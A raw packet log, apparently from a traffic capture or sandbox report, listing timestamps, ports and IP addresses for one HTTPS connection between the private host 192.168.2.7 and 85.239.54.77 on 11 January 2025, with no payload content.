Jan 11, 2025 09:26:48.424247026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424263954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424330950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.424352884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424398899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.424676895 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424691916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424757957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.424768925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.424815893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.425236940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425252914 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425301075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.425312996 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425348997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.425422907 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.425559044 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425575018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425693035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.425703049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.425761938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.478832960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.478859901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.478985071 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.479010105 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.479074955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.503921032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.503943920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.504010916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.504021883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.504059076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.504096031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.504148960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.504163027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.504214048 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.504220963 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.504234076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.504271030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.507164001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.507181883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.507235050 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.507245064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.507256985 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.507289886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.511089087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511107922 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511334896 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.511343956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511394024 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.511554003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511569977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511707067 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.511713982 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.511774063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.511991978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512006998 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512057066 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.512063026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512124062 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.512396097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512412071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512482882 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.512490988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.512540102 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.565560102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.565581083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.565663099 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.565677881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.565788031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.591017008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.591042995 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.591156006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.591202021 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.591212988 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.591335058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.594079971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.594110012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.594278097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.594288111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.597836971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.597858906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.597929001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.597934961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.597970009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.598334074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598350048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598412037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.598419905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598742962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598762989 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598797083 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.598804951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.598829031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.599186897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.599204063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.599291086 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.599298954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.652450085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.652486086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.652544022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.652565002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.652601957 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.677495003 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.677515030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.677686930 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.677723885 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.678050041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.678069115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.678132057 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.678143978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.678195953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.680732965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.680747032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.680883884 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.680893898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.684778929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.684797049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.684850931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.684868097 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.684883118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.685180902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685194969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685262918 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.685271978 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685606956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685626030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685658932 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.685667038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.685702085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.686085939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.686099052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.686141014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.686150074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.686186075 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.739506960 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.739543915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.739656925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.739680052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764277935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764296055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764414072 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.764424086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764836073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764853954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764897108 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.764905930 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.764941931 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.767452955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.767467022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.767591000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.767599106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.771513939 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.771539927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.771601915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.771601915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.771610975 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.771948099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.771962881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772039890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.772039890 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.772047043 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772368908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772387028 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772486925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.772492886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772506952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.772788048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772802114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772850037 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.772856951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.772871017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.826070070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.826097965 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.826198101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.826198101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.826210022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.851126909 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.851145029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.851326942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.851326942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.851344109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.851727962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.851748943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.852206945 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.852216005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.854444027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.854461908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.854542971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.854551077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858266115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858287096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858338118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.858350039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858377934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.858711958 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858728886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.858804941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.858804941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.858812094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859195948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859214067 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859286070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.859292984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859345913 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.859503984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859519005 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.859607935 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.859616041 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.912914038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.912942886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.913127899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.913153887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938191891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938215017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938292027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.938302994 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938582897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938601971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.938713074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.938720942 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.941260099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.941274881 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.941374063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.941384077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945087910 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945106983 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945317030 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.945324898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945607901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945621967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945730925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.945739031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.945982933 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.946000099 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.946048975 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.946057081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.946397066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.946410894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.946505070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.946511984 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.999852896 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.999886036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.999938011 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:48.999953985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:48.999989986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.024912119 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.024929047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.025131941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.025140047 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.025329113 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.025348902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.025394917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.025403023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.025429964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.028131008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.028146029 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.028229952 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.028238058 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032058001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032075882 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032134056 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.032143116 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032166958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.032526970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032540083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032604933 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.032612085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.032638073 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.033004999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.033024073 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.033068895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.033076048 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.033098936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.033679962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.033693075 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.033757925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.033766031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118114948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118135929 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118361950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.118376970 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118552923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118566990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118591070 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118622065 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.118627071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.118654966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.119028091 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.119045973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.119095087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.119102955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.119122982 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.119683981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.119699001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.119757891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.119765997 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.120150089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.120168924 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.120193958 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.120201111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.120284081 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.120812893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.120856047 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.126593113 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.126600981 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.126616001 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.126669884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.126717091 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.126770020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.198745012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.198836088 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.198899031 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.198905945 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.198918104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.198934078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.198956013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.198967934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.198973894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.199011087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.205075026 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205112934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205204964 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.205214977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205399990 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205423117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205456972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.205461025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205492973 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.205851078 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205868006 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205900908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.205907106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.205924988 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.206326008 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.206346035 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.206377983 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.206383944 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.206403017 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:49.206739902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:49.206758022 CET	443	49941	85.239.54.77	192.168.2.7
